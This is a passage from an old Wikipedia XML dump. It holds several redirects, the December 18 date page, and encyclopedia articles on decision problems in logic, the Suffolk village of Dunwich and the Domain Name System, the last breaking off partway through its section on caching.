      <timestamp>2006-01-25T13:05:13Z</timestamp>
      <contributor>
        <ip>128.197.249.61</ip>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT: [[Poly drug use]]</text>
    </revision>
  </page>
  <page>
    <title>Induhvidual</title>
    <id>8332</id>
    <revision>
      <id>15906338</id>
      <timestamp>2003-11-06T04:50:08Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <comment>#redirect [[Dilbert]] (info merged there)</comment>
      <text xml:space="preserve">#redirect [[Dilbert]]</text>
    </revision>
  </page>
  <page>
    <title>December 18</title>
    <id>8334</id>
    <revision>
      <id>41153180</id>
      <timestamp>2006-02-25T11:00:26Z</timestamp>
      <contributor>
        <username>Rasmus Faber</username>
        <id>32292</id>
      </contributor>
      <comment>/* Births */ rm redlinks</comment>
      <text xml:space="preserve">'''[[December 18]]''' is the 352nd day of the year (353rd in [[leap year]]s) in the [[Gregorian Calendar]]. There are 13 days remaining.

{{DecemberCalendar}}

==Events==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[218 BC]] - [[Second Punic War]]: [[Battle of the Trebia]] - [[Hannibal]]'s [[Carthaginian]] forces defeat those of the [[Roman Republic]].
*[[1352]] - [[Pope Innocent VI|Innocent VI]] is elected [[Pope]].
*[[1787]] - [[New Jersey]] becomes the third state to ratify the [[United States Constitution]]
*[[1865]] - [[History of slavery in the United States]]: [[William Henry Seward]] proclaims that the [[United States Constitution/Amendment Thirteen|13th Amendment]] to the [[United States Constitution]] has been ratified by the legislatures of 27 of the then 36 states.
*[[1892]] - The first performance of [[Pyotr Ilyich Tchaikovsky|Tchaikovsky]]'s ballet ''[[The Nutcracker]]'' is held at the [[Mariinsky Theatre]] in [[St. Petersburg]].
*[[1926]] - The first performance of [[Leoš Janáček]]'s opera ''[[The Makropulos Affair]]'' is held in  [[Brno]], [[Czechoslovakia]].
*[[1935]] - The [[Lanka Sama Samaja Party]] is founded in [[Sri Lanka]]. 
*[[1961]] - [[Indonesia]] invades [[Netherlands New Guinea]].  
*[[1966]] - [[Saturn (planet)|Saturn]]'s moon [[Epimetheus (moon)|Epimetheus]] is discovered by Richard L. Walker.
*[[1969]] - [[Capital punishment in the United Kingdom]]: [[Home Secretary]] [[James Callaghan]]'s motion to remove the limit on the ''Murder (Abolition of Death Penalty) Act'', which suspended the [[death penalty]] in [[England]], [[Wales]] and [[Scotland]] for all crimes, except [[treason]], [[piracy]] with violence, and certain crimes under the jurisdiction of the armed forces for a period of five years, is carried by both the [[British House of Commons|House of Commons]] and the [[House of Lords]].
*[[1973]] - [[Soyuz programme]]: ''[[Soyuz 13]]'', crewed by [[cosmonauts]] [[Valentin Lebedev]] and [[Pyotr Klimuk]], is launched from [[Baikonur]] in the [[Soviet Union]].
*[[1996]] - The [[Oakland, California]] [[school board]] passes a resolution officially declaring &quot;[[Ebonics]]&quot; a language or dialect.
*[[1997]] - [[HTML|HTML 4.0]] is published by the [[World Wide Web Consortium]].
*[[2001]] - The [[Cathedral of Saint John the Divine]] in [[Manhattan]], [[New York City]], is damaged by fire.
*[[2002]] - The film ''[[The Lord of the Rings: The Two Towers (film)|The Lord of the Rings: The Two Towers]]'' is released worldwide.
*2002 - [[2003 California recall]]: [[Governor of California]] [[Gray Davis]] announces that the state would face a record [[budget deficit]] of $35 billion, roughly double the figure reported during his reelection campaign one month earlier.
*[[2005]] - [[Sao Paulo Futebol Clube]] win the [[FIFA World Club Championship]]

==Births==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[1507]] - [[Ouchi Yoshitaka]], Japanese warlord (d. [[1551]])
*[[1602]] - [[Simonds d'Ewes]], English antiquarian and politician (d. [[1650]])
*[[1610]] - [[Charles du Fresne, sieur du Cange]], French philologist (d. [[1688]])
*[[1620]] - [[Heinrich Roth]], German Sanskrit scholar (d. [[1668]])
*[[1626]] - Queen [[Christina of Sweden]] (d. [[1689]])
*[[1661]] - [[Christopher Polhem]], Swedish scientist and inventor (d. [[1751]])
*[[1662]] - [[James Douglas, 2nd Duke of Queensberry]], Scottish politician (d. [[1711]])
*[[1724]] - [[Louise of Great Britain]], Queen of [[Frederick V of Denmark]] (d. [[1751]])
*[[1725]] - [[Johann Salomo Semler]], German historian and Bible commentator (d. [[1791]])
*[[1835]] - [[Lyman Abbott]], American author (d. [[1922]])
*[[1847]] - [[Augusta Holmès]], French composer (d. [[1903]])
*[[1856]] - Sir [[J.J. Thomson]], British physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1940]])
*[[1863]] - [[Franz Ferdinand, Archduke of Austria]] (d. [[1914]])
*[[1870]] - [[Saki]] (Hector Hugh Munro), British writer (d. [[1916]])
*[[1873]] - [[Francis Burton Harrison]], American political figure (d. [[1957]])
*[[1878]] - [[Josef Stalin]] (Ioseb Jughashvili), leader of the Soviet Union (d. [[1953]])
*[[1879]] - [[Paul Klee]], Swiss-born painter and graphic artist (d. [[1940]])
*[[1886]] - [[Ty Cobb]] (Tyrus Raymond Cobb), American baseball player (d. [[1961]])
*[[1888]] - [[Robert Moses]], American public works official (d. [[1981]])
*1888 - Dame [[Gladys Cooper]], British actress (d. [[1971]])
*[[1890]] - [[Edwin Armstrong]], American inventor (d. [[1954]])
*[[1897]] - [[Fletcher Henderson]], American pianist, bandleader, arranger and composer (d. [[1952]])
*[[1904]] - [[George Stevens]], American film director, producer, writer and cinematographer (d. [[1975]])
*[[1907]] - [[Bill Holland]], American auto racer  (d. [[1984]])
*[[1912]] - [[Benjamin O. Davis Jr.]], American General (d. [[2002]])
*[[1913]] - [[Alfred Bester (author)|Alfred Bester]], American author (d. [[1987]])
*1913 - [[Willy Brandt]], [[Chancellor of Germany]] and [[Nobel Peace Prize|Nobel Prize]] laureate (d. [[1992]])
*1913 - [[Ray Meyer]], former head coach of [[DePaul University]] men's basketball team
*[[1916]] - [[Betty Grable]], American actress (d. [[1973]])
*1916 - [[Douglas Fraser]], British-born trade unionist
*[[1917]] - [[Ossie Davis]], American actor (d. [[2005]])
*[[1927]] - [[Ramsey Clark]], U.S. Attorney General
*1927 - [[Romeo LeBlanc]], 25th [[Governor General of Canada]]
*[[1928]] - [[Józef Glemp]], Polish cardinal 
*[[1930]] - [[Moose Skowron]], major league baseball player
*[[1931]] - [[Allen Klein]], rock and roll business manager
*[[1934]] - [[Boris Volynov]], Soviet-born cosmonaut
*[[1935]] - [[Jacques Pépin]], French chef
*[[1938]] - [[Roger E. Mosley]], American actor
*[[1939]] - [[Michael Moorcock]], British author
*1939 - [[Harold E. Varmus]], American scientist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate
*[[1940]] - Bramwell Morrison, member of children's musical group [[Sharon, Lois &amp; Bram]]
*[[1943]] - [[Keith Richards]], British guitarist ([[The Rolling Stones]])
*[[1946]] - [[Steven Spielberg]], American film director
*1946 - [[Steve Biko]], South African anti-apartheid activist (d. [[1977]])
*[[1948]] - [[Bill Nelson (musician)|Bill Nelson]], British musician (Be Bop Deluxe)
*[[1950]] - [[Gillian Armstrong]], Australian film director
*1950 - [[Leonard Maltin]], American film critic
*[[1953]] - [[Elliot Easton]], American guitarist ([[The Cars]])
*[[1955]] - [[Ray Liotta]], American actor
*[[1956]] - [[Ron White]], American comedian
*[[1960]] - [[Kazuhide Uekusa]], Japanese economist
*[[1961]] - [[Brian Orser]], Canadian figure skater
*[[1963]] - [[Karl Dorrell]], American Football coach
*1963 - [[Brad Pitt]], American actor
*[[1964]] - [[Stone Cold Steve Austin|Steve Austin]], American professional wrestler
*1964 - [[Don Beebe]], American Football player
*1964 - [[Robson Green]], British actor and singer
*[[1968]] - [[Casper Van Dien]], American actor
*[[1970]] - [[DMX (rapper)|DMX]] (Earl Simmons), American rapper and actor
*1970 - [[Miles Marshall Lewis]], American author
*1970 - [[Rob Van Dam]] (Robert Szatkowski), American professional wrestler
*1970 - [[Cowboy Troy]] (Troy Coleman), American rapper
*[[1971]] - [[Arantxa Sánchez Vicario]], Spanish tennis player
*[[1972]] - [[DJ Lethal]] (Leor Dimant), American DJ ([[House of Pain]] &amp; [[Limp Bizkit]])
*[[1973]] - [[Raymond Herrera]], American drummer ([[Fear Factory]])
*[[1974]] - [[Peter Boulware]], American Football player
*[[1975]] - [[Trish Stratus]], Canadian professional wrestler
*1975 - [[Masaki Sumitani]], Japanese comedian
*[[1976]] - [[Koyuki]] (Koyuki Kato), Japanese actress and model
*[[1977]] - [[Ryan Scott Ottney]], American comic book writer
*[[1978]] - [[Katie Holmes]], American actress
*[[1980]] - [[Christina Aguilera]], American singer
*[[1987]] - [[Miki Ando]], Japanese figure skater
*[[1989]] - [[Ashley Benson]], American actress

==Deaths==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[821]] - [[Theodulf]], Bishop of Orléans
*[[1133]] - [[Hildebert]], French writer
*[[1290]] - King [[Magnus I of Sweden]] (b. [[1240]])
*[[1442]] - [[Pierre Cauchon]], French Catholic bishop (b. [[1371]])
*[[1495]] - King [[Alphonso II of Naples]] (b. [[1448]])
*[[1692]] - [[Veit Ludwig von Seckendorff]], German statesman (b. [[1626]])
*[[1737]] - [[Antonio Stradivari]], Italian violin maker (b. [[1644]])
*[[1787]] - [[Francis William Drake]], British Admiral and Governor of Newfoundland (b. [[1724]])
*  1787   - [[Soame Jenyns]], English writer (b. [[1704]])
*[[1799]] - [[Jean-Étienne Montucla]], French mathematician (b. [[1725]])
*[[1803]] - [[Johann Gottfried Herder]], German writer (b. [[1744]])
*[[1843]] - [[Thomas Graham, Lord Lynedoch]], British Viceroy of India (b. [[1748]])
*[[1848]] - [[Bernard Bolzano]], Bohemian mathematician and philosopher (b. [[1781]])
*[[1869]] - [[Louis Moreau Gottschalk]], American composer and pianist (b. [[1829]])
*[[1936]] - [[Andrija Mohorovičić]], Austro-Hungarian-born Yugoslav seismologist (b. [[1857]])
*[[1971]] - [[Bobby Jones]], American golfer (b. [[1902]])
*[[1974]] - [[Harry Hooper]], American baseball player (b. [[1887]])
*[[1980]] - [[Alexei Kosygin]], [[Premier of the USSR]] (b. [[1904]])
*[[1982]] - [[Hans-Ulrich Rudel]], German pilot (b. [[1916]])
*[[1990]] - [[Paul Tortelier]], French cellist and composer (b. [[1914]])
*[[1991]] - [[George Abecassis]], British Formula 1 driver (b. [[1913]])
*[[1992]] - [[Mark Goodson]], American game show producer (b. [[1915]])
*[[1993]] - [[Sam Wanamaker]], American actor (b. [[1919]])
*[[1994]] - [[Roger Apéry]], French mathematician (b. [[1916]])
*[[1995]] - [[Konrad Zuse]], German engineer and computing pioneer (b. [[1910]])
*[[1996]] - [[Yulii Borisovich Khariton]], Russian physicist (b. [[1904]])
*[[1997]] - [[Chris Farley]], American actor and comedian (b. [[1964]])
*[[1998]] - [[Lev Demin]], Soviet-born Russian cosmonaut (b. [[1926]])
*[[1999]] - [[Robert Bresson]], French film director (b. [[1907]])
*[[2000]] - [[Kirsty MacColl]], British singer and songwriter (b. [[1959]])
*[[2001]] - [[Gilbert Bécaud]], French singer (b. [[1927]])
*[[2002]] - [[Ray Hnatyshyn]], [[Governor-General of Canada]] (b. [[1934]])
*[[2004]] - [[Anthony Sampson]], British journalist and biographer (b. [[1926]])
*[[2005]] - [[Alan Voorhees]], American engineer and urban planner (b. [[1922]])

==Holidays and observances==
* [[Roman festivals]] - Feast of [[Epona]] (during [[Saturnalia]])
* [[Calendar of Saints|R.C. Saints]] - [[Gatianus of Tours]]
* Also see [[December 18 (Eastern Orthodox liturgics)]]
* [[Niger]] - [[Republic Day]] (autonomous in [[1958]])
* [[International Migrants Day]]
* [[Greek orthodox church|Greek Orthodox Church]] &amp;ndash; Feast of [[Sebastian]] the Martyr

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/18 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20051218.html ''The New York Times'': On This Day]

----

[[December 17]] - [[December 19]] - [[November 18]] - [[January 18]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:18 Desember]]
[[ar:18 ديسمبر]]
[[an:18 d'abiento]]
[[ast:18 d'avientu]]
[[bg:18 декември]]
[[be:18 сьнежня]]
[[bs:18. decembar]]
[[ca:18 de desembre]]
[[ceb:Disyembre 18]]
[[cv:Раштав, 18]]
[[co:18 di decembre]]
[[cs:18. prosinec]]
[[cy:18 Rhagfyr]]
[[da:18. december]]
[[de:18. Dezember]]
[[et:18. detsember]]
[[el:18 Δεκεμβρίου]]
[[es:18 de diciembre]]
[[eo:18-a de decembro]]
[[eu:Abenduaren 18]]
[[fo:18. desember]]
[[fr:18 décembre]]
[[fy:18 desimber]]
[[ga:18 Nollaig]]
[[gl:18 de decembro]]
[[ko:12월 18일]]
[[hr:18. prosinca]]
[[io:18 di decembro]]
[[id:18 Desember]]
[[ia:18 de decembre]]
[[is:18. desember]]
[[it:18 dicembre]]
[[he:18 בדצמבר]]
[[jv:18 Desember]]
[[ka:18 დეკემბერი]]
[[csb:18 gòdnika]]
[[ku:18'ê berfanbarê]]
[[la:18 Decembris]]
[[lt:Gruodžio 18]]
[[lb:18. Dezember]]
[[hu:December 18]]
[[mk:18 декември]]
[[ms:18 Disember]]
[[nap:18 'e dicembre]]
[[nl:18 december]]
[[ja:12月18日]]
[[no:18. desember]]
[[nn:18. desember]]
[[oc:18 de decembre]]
[[os:18 декабры]]
[[pl:18 grudnia]]
[[pt:18 de Dezembro]]
[[ro:18 decembrie]]
[[ru:18 декабря]]
[[se:Juovlamánu 18.]]
[[sco:18 December]]
[[sq:18 Dhjetor]]
[[scn:18 di dicèmmiru]]
[[simple:December 18]]
[[sk:18. december]]
[[sl:18. december]]
[[sr:18. децембар]]
[[fi:18. joulukuuta]]
[[sv:18 december]]
[[tl:Disyembre 18]]
[[ta:டிசம்பர் 18]]
[[tt:18. Dekäber]]
[[te:డిసెంబర్ 18]]
[[th:18 ธันวาคม]]
[[vi:18 tháng 12]]
[[tr:18 Aralık]]
[[uk:18 грудня]]
[[wa:18 di decimbe]]
[[war:Disyembre 18]]
[[zh:12月18日]]
[[pam:Disiembri 18]]</text>
    </revision>
  </page>
  <page>
    <title>Decision problem</title>
    <id>8336</id>
    <revision>
      <id>39380601</id>
      <timestamp>2006-02-12T20:09:45Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
      <text xml:space="preserve">In [[logic]], a '''decision problem''' is determining whether there exists a '''decision procedure''' or [[algorithm]] for a class S of questions requiring a [[Boolean value]] (i.e., a ''true'' or ''false'', or ''yes'' or ''no''). These are also known as yes-or-no questions. For example, the decision problem for the class of questions &quot;Does ''x'' divide ''y'' without remainder?&quot; is ''decidable'' because there exists a mechanical procedure, namely [[long division]], which allows us to determine for any ''x'' and any ''y'' whether the answer for &quot;Does ''x'' divide ''y'' without remainder?&quot; is ''yes'' or ''no''.

Every decision problem is reducible to a [[computation problem]] in the following way. Every class of yes-or-no questions is reducible to the predicate form &quot;Is &lt;math&gt;P(x_1,...,x_n)&lt;/math&gt; true?&quot;. For example, the above example is reducible to &quot;Is &lt;math&gt;P(x,y)&lt;/math&gt; true?&quot;. This predicate form is reducible to the [[representing function]] &lt;math&gt;f(x_1,...,x_n) = \left \{ \begin{matrix} 1, &amp; \mbox{if }P(x_1,...,x_n)\mbox{ is true} \\ 0, &amp; \mbox{if }P(x_1,...,x_n)\mbox{ is false} \end{matrix} \right.&lt;/math&gt;

So deciding whether &lt;math&gt;P(x_1,...,x_n)&lt;/math&gt; is true is equivalent to computing the value for &lt;math&gt;f(x_1,...,x_n)&lt;/math&gt;.

==Definition==

A '''decision problem''' is a [[countable set|countable]] [[set]] ''S'' and a [[function_(mathematics)|function]]
:&lt;math&gt;f:S \to \lbrace0, 1\rbrace&lt;/math&gt;.

Let ''A'' be the [[preimage]] of ''f'' for 1.
:&lt;math&gt;A := \lbrace s \in S | f(s) = 1 \rbrace&lt;/math&gt;

The problem is called '''decidable''' if ''A'' is a [[recursive set]]. It is called '''partially decidable''', '''solvable''' or '''provable''' if ''A'' is a [[recursively enumerable set]]. Otherwise, the problem is called '''undecidable'''.

We can give an alternative definition in terms of [[computable function]]s:

If ''f'' is a [[total function|total]] computable function, the problem is called '''computable'''. If ''f'' is only a [[partial function|partial]] computable function, the problem is called '''partially computable'''. Otherwise, the problem is called '''uncomputable'''.

==Notes==

It should be noted that a decision problem is always a set of related problems which is in some sense large enough. A single problem ''P'' is always trivially decidable by assigning the constant function ''f''(''P'')&amp;equiv;0 or ''f''(''P'')&amp;equiv;1 to it.

Nearly every problem can be cast as a decision problem by using [[reduction (complexity)|reduction]]s, often with little effect on the amount of time or space needed to solve the problem. Many traditional hard problems have been cast as decision problems because this makes them easier to study and to solve, and proving that these problems are hard suffices to show that more complex problems are hard as well.

==Examples==

Important undecidable decision problems include the [[halting problem]]; for more, see [[list of undecidable problems]]. In [[complexity theory (computation)|computational complexity]], decision problems which are [[complete problem|complete]] are used to characterize complexity classes of decision problems. Important examples include the [[boolean satisfiability problem]] and several of its variants, along with the [[undirected reachability problem|undirected]] and [[directed reachability problem]].

== History ==
The ''Entscheidungsproblem'', German for &quot;Decision-problem&quot;, is attributed to [[David Hilbert]]: &quot;At [the] 1928 conference Hilbert made his questions quite precise. First, was mathematics ''complete''... Second, was mathematics ''consistent''... And thirdly, was mathematics ''decidable''? By this he meant, did there exist a definite method which could, in principle be applied to any assertion, and which was guaranteed to produce a correct decision as to whether that assertion was true&quot; (Hodges, p. 91). Hilbert believed that &quot;in mathematics there is no [[ignorabimus]]' (Hodges, p. 91ff) meaning 'we do not know and will not know'. See [[David Hilbert]] and [[Halting Problem]] for more.

== References ==

* [[Andrew Hodges]], ''Alan Turing: The Engima'', Simon and Schuster, New York. Cf Chapter &quot;The Spirit of Truth&quot; for some more history that led to Turing's work. A wonderful biography. 
::Hodges references a biography of [[David Hilbert]]: [[Constance Reid]], ''Hilbert'' (George Allen &amp; Unwin; Springer-Verlag, 1970). There are apparently more recent editions.

[[Category:Logic]]
[[Category:Theory of computation]]
[[Category:Problems]]

[[de:Entscheidungsproblem]]
[[es:Problema de decisión]]
[[fr:Problème de la décision]]
[[he:בעיית הכרעה]]
[[ja:決定問題]]
[[pl:Problem decyzyjny (teoria obliczeń)]]
[[pt:Entscheidungsproblem]]</text>
    </revision>
  </page>
  <page>
    <title>Dunwich</title>
    <id>8337</id>
    <revision>
      <id>38867007</id>
      <timestamp>2006-02-09T03:49:43Z</timestamp>
      <contributor>
        <username>RlyehRising</username>
        <id>472450</id>
      </contributor>
      <minor />
      <comment>dab lnk</comment>
      <text xml:space="preserve">{{Otheruses4|the village of Dunwich in England|H. P. Lovecraft's fictional location|Dunwich (Lovecraft)}}

'''Dunwich''' (pronounced ''Dun-Itch'') is a town in the county of [[Suffolk]] in [[England]], the remnant of what was once a prosperous seaport and centre of the wool trade during the early [[middle ages]], with a natural harbour formed by the mouths of the [[River Blyth, Suffolk|River Blyth]] and the [[River Dunwich]]. Dunwich was one of the largest ports in eastern England, with a population of around 3,000, eight churches, five houses of religious orders, three chapels and two hospitals. The main exports were wool and grain, and the main imports were fish, furs and timber from [[Iceland]] and the [[Baltic region]], cloth from the [[Netherlands]], and wine from [[France]].

Over time, the rivers silted up, and Dunwich was lost to the sea over a period of two to three hundred years through a form of [[coastal erosion]] known as [[long-shore drift]]. Buildings on the present day cliffs were once a mile inland and the village no longer has a significant natural harbor.

Most of the original buildings have disappeared, including all eight churches (a new church, All Saints, was built in the [[19th century]]) and Dunwich is now a small coastal &quot;village&quot;, though retaining its status as a town. However, the remains of a Franciscan priory and a building constructed as a hospice for [[leper]]s can still be seen. A local legend says that at certain tides, church bells can still be heard from beneath the waves.

As a legacy of its previous significance it retained the right to send two Members to Parliament until [[1832]], making it an example of a [[rotten borough]]. 

The village now lies between the [[birdwatching]] areas of [[Dunwich Heath]] (to the north, towards [[Walberswick]] and [[Southwold]]) and [[RSPB Minsmere|Minsmere]] (to the south, towards [[Sizewell]]). 

Dunwich is the destination of the annual semi-organized [[bicycle]] ride, the [[Dunwich Dynamo]], which leaves [[Hackney]] in [[London]] on the Saturday night closest to the full moon in July and arrives in Dunwich on the Sunday morning.

==See also==
*[[Lost cities]]
{{oscoor gbx|TM475705}}

==External links==
*[http://www.suffolkchurches.co.uk/dunwichas.html All Saints, Dunwich]

[[Category:Villages in Suffolk]]
[[Category:Ghost towns]]
[[Category:Sunken cities]]</text>
    </revision>
  </page>
  <page>
    <title>Diatoms</title>
    <id>8338</id>
    <revision>
      <id>15906343</id>
      <timestamp>2002-03-28T12:26:50Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>Moving to singular noun title--see naming conventions</comment>
      <text xml:space="preserve">#REDIRECT [[Diatom]]
</text>
    </revision>
  </page>
  <page>
    <title>Domain Name System</title>
    <id>8339</id>
    <revision>
      <id>42096171</id>
      <timestamp>2006-03-03T20:24:06Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>lower case</comment>
      <text xml:space="preserve">{{template:IPstack}}
&lt;!-- Edit the stack image at: Template:IPstack --&gt;

{{mergefrom|Domain name}}

The '''Domain Name System or Domain Name Server''' ('''DNS''') is a system that stores information associated with '''[[domain name]]s''' in a [[Distributed Database]] on networks, such as the [[Internet]]. The domain name system (Domain Name Server) associates many types of information with domain names, but most importantly, it provides the [[IP address ]] associated with the domain name. It also lists [[mail exchange server]]s accepting [[e-mail]] for each domain. In providing a worldwide keyword-based redirection service, DNS is an essential component of contemporary Internet use.

DNS is useful for several reasons. Most well known, the DNS makes it possible to attach hard-to-remember IP addresses (such as 207.142.131.206) to easy-to-remember domain names (such as &quot;wikipedia.org&quot;) Humans take advantage of this when they recite [[Uniform Resource Locator|URL]]s and [[e-mail address]]es. Less recognized, the domain name system makes it possible for people to assign authoritative names, without needing to communicate with a central registrar each time.

==A brief history of the DNS== The practice of using a name as a more human-legible abstraction of a machine's numerical address on the network predates even [[TCP/IP]], all the way back to the [[ARPAnet]] era.  Originally, each computer on the network retrieved a file called '''HOSTS.TXT''' from SRI (now [[SRI International]]) which mapped an address (eg. 192.0.34.166) to a name (eg. www.example.net.)  The [[Hosts file]] still exists on most modern operating systems either by default or through configuration and allows users to specify an [[IP Address]] to use for a [[hostname]] without checking the DNS.  This file is now used primarily for troubleshooting DNS errors or mapping local addresses to more organic names (the Hosts file can also be used for [[HOSTS_file#Ad_filtering|ad blocking]], or it can be used by [[spyware]] to hijack a computer).  Such a system had inherent limitations, because of the obvious requirement that every time a given computer's address changed, every computer that wanted to communicate with it would need an update to its Hosts file.

The growth of networking called for a more scalable system: one which recorded a change in a host's address in one place only.  Other hosts would learn about the change dynamically through a notification system, thus completing a globally accessible network of all hosts' names and their associated IP Addresses.  Enter the DNS.

[[Paul Mockapetris]] invented the DNS in [[1983]]; the original specifications appear in [[Request for Comments|RFC]] 882 and 883. In [[1987]], the publication of RFC 1034 and RFC 1035 updated the DNS specification and made RFC 882 and RFC 883 obsolete.  Several more recent RFCs have proposed various extensions to the core DNS protocols.

==How the DNS works in theory==

[[Image:Domain name space.svg|right|thumb|400px|Domain names are arranged in a tree, and cut into zones, which are served by nameservers.]]

The domain name space is a [[tree data structure|tree]] of domain names. Each node or leaf in the tree is associated with '''resource records''', which hold the information associated with the domain name. The tree is divided into '''zones'''. A zone is a collection of connected nodes that are authoritatively served by an '''authoritative DNS nameserver'''. (Note that a single nameserver can host several zones.)

When a system administrator wants to let another administrator control a part of the domain name space within his or her zone of authority, he or she can '''delegate''' control to the other administrator. This splits a part of the old zone off into a new zone, which is served by the second administrator's nameservers. The old zone is no longer authoritative for what is under the authority of the new zone.

The information associated with nodes is looked up by a '''resolver'''. A resolver knows how to communicate with name servers by sending DNS requests, and heeding DNS responses. Resolving usually entails '''recursing''' through several name servers to find the needed information.

Some resolvers are simple, and can only communicate with a single name server. These simple resolvers rely on a '''recursing name server''' to perform the work of finding information for it.

===Understanding the parts of a domain name===
A [[domain name]] usually consists of two or more parts (technically ''labels''), separated by dots. For example &lt;tt&gt;wikipedia.org&lt;/tt&gt;.
*The rightmost label conveys the '''[[top-level domain]]''' (for example, the address &lt;tt&gt;en.wikipedia.org&lt;/tt&gt; has the top-level domain  &lt;tt&gt;org&lt;/tt&gt;). 
*Each label to the left specifies a subdivision or '''subdomain''' of the domain above it. Note that &quot;subdomain&quot; expresses relative dependence, not absolute dependence: for example, &lt;tt&gt;wikipedia.org&lt;/tt&gt; comprises a subdomain of the &lt;tt&gt;org&lt;/tt&gt; domain, and &lt;tt&gt;en.wikipedia.org&lt;/tt&gt; is a subdomain of the domain &lt;tt&gt;wikipedia.org&lt;/tt&gt;. In theory, this subdivision can go down to 127 levels deep, and each label can contain up to 63 characters, as long as the whole domain name does not exceed a total length of 255 characters.  But in practice some [[domain name registry|domain registries]] have shorter limits than that. 
*A domain name that has one or more associated IP addresses is called a '''hostname'''. For example, the &lt;tt&gt;en.wikipedia.org&lt;/tt&gt; and &lt;tt&gt;wikipedia.org&lt;/tt&gt; domains are both hostnames, but the &lt;tt&gt;org&lt;/tt&gt; domain is not.

The DNS consists of a hierarchical set of '''DNS servers'''. Each domain or subdomain has one or more '''authoritative DNS servers''' that publish information about that domain and the name servers of any domains &quot;beneath&quot; it.  The hierarchy of authoritative DNS servers matches the hierarchy of domains. At the top of the hierarchy stand the '''[[root nameserver|root servers]]''': the servers to query when looking up ('''resolving''') a top-level domain name.

===An example of theoretical DNS recursion===

[[Image:An example of theoretical DNS recursion.svg|right|thumb|400px|DNS recurser consults three nameservers to resolve www.wikipedia.org.]]

An example may clarify this process.  Suppose an application needs to find the IP address of &lt;tt&gt;www.wikipedia.org&lt;/tt&gt;. It puts this question to a local DNS recursor.
*Before starting, the recursor has to know where to find the '''[[root nameserver|root servers]]'''; administrators of recursive DNS servers manually specify (and periodically update) a file called the ''root hints'' which specify recently known IP addresses of these servers, from which the DNS server can obtain a current complete list.
*The process starts by the recursor asking one of these root servers - for example, the server with the IP address &quot;198.41.0.4&quot; - the question &quot;what is the IP address for &lt;tt&gt;www.wikipedia.org&lt;/tt&gt;?&quot;
*The root server replies with a '''delegation''', meaning roughly: &quot;I don't know the IP address of &lt;tt&gt;www.wikipedia.org&lt;/tt&gt;, but I ''do'' know that the DNS server at 204.74.112.1 has information on the &lt;tt&gt;org&lt;/tt&gt; domain.&quot;  
*The local DNS recursor then asks that DNS server (i.e. 204.74.112.1) the same question it had previously put to the root servers, i.e. &quot;what is the IP address for &lt;tt&gt;www.wikipedia.org&lt;/tt&gt;?&quot;. It gets a similar reply - essentially, &quot;I don't know the address of &lt;tt&gt;www.wikipedia.org&lt;/tt&gt;, but I ''do'' know that the DNS server at 207.142.131.234 has information on the &lt;tt&gt;wikipedia.org&lt;/tt&gt; domain.&quot;  
*Finally the request goes to this third DNS server (207.142.131.234), which replies with the required IP address. 
This process utilizes [[recursion|recursive searching]].

===Understanding domain registration and glue records===
Reading the example above, you might reasonably wonder: &quot;how does the DNS server 204.74.112.1 know what IP address to give out for the &lt;tt&gt;wikipedia.org&lt;/tt&gt; domain?&quot; In the first step of the process, we noted that a DNS recursor has the IP addresses of the root servers more-or-less hard coded. Equally, the name servers that are authoritative for the Top-Level Domains change very infrequently.

However, the name servers that provide authoritative answers for common domain names may change relatively often. As part of the process of registering a domain name (and at any time thereafter), a registrant provides the registry with the name servers that will be authoritative for that domain name; therefore, when registering &lt;tt&gt;wikipedia.org&lt;/tt&gt;, that domain is associated with the name servers &lt;tt&gt;gunther.bomis.com&lt;/tt&gt; and &lt;tt&gt;zwinger.wikipedia.org&lt;/tt&gt; at the .org registry. Consequently, in the example above, when the server identified by 204.74.112.1 receives a request, the DNS server scans its list of domains, locates &lt;tt&gt;wikipedia.org&lt;/tt&gt;, and returns the name servers associated with that domain.

Name servers in delegations are listed by name, rather than by IP address. This means that a resolving name server must issue another DNS request to find out the IP address of the server to which it has been referred. Since this can introduce a [[bootstrapping]] problem when the name of the nameserver is in the domain about which nothing is yet known, it is occasionally necessary for the nameserver providing the delegation to also provide the IP address of the next nameserver. This record is called a '''glue record'''.

==DNS in practice==
When an application (such as a [[web browser]]) tries to find the IP address of a domain name, it doesn't necessarily follow all of the steps outlined in the ''Theory'' section above. We will first look at the concept of caching, then outline the operation of DNS in &quot;the real world&quot;.

===Caching and time to live===
Because of the huge volume of requests generated by a system like the DNS, the designers wished to provide a mechanism to reduce the load on individual DNS servers. The mechanism devised provided that when a DNS resolver (i.e. client) received a DNS response, it would '''[[cache]]''' that response for a given period of time. A value (set by the administrator of the DNS server handing out the response) called the '''time to live''', or [[Time_to_live|TTL]] defines that period of time. Once a response goes into cache, the resolver will consult its cached (stored) answer; only when the TTL expires (or when an administrator manually flushes the response from the resolver's memory) will the resolver contact the DNS server for the same information.

Generally, the time to live is specified in the Start of Authority (SOA) record. SOA parameters are:
* '''Serial''' &amp;mdash; the zone serial number, incremented when the [[zone file]] is modified, so the slave and secondary name servers know when the zone has been changed and should be reloaded.
* '''Refresh''' &amp;mdash; This is the number of seconds between update requests from secondary and slave name servers.
* '''Retry''' &amp;mdash; This is the number of seconds the secondary or slave will wait before retrying when the last attempt has failed.
* '''Expire''' &amp;mdash; This is the number of seconds before a master or slave will wait before considering the data stale if it cannot reach the primary name server.
* '''Minimum''' &amp;mdash; Previously used to determine the minimum TTL, this is used for negative caching.

(Newer versions of ''named'' will accept 'M','H','D' &amp; 'W' suffixes indicating that the time interval is respectively in Minutes, Hours, Days and Weeks).

===Caching time===
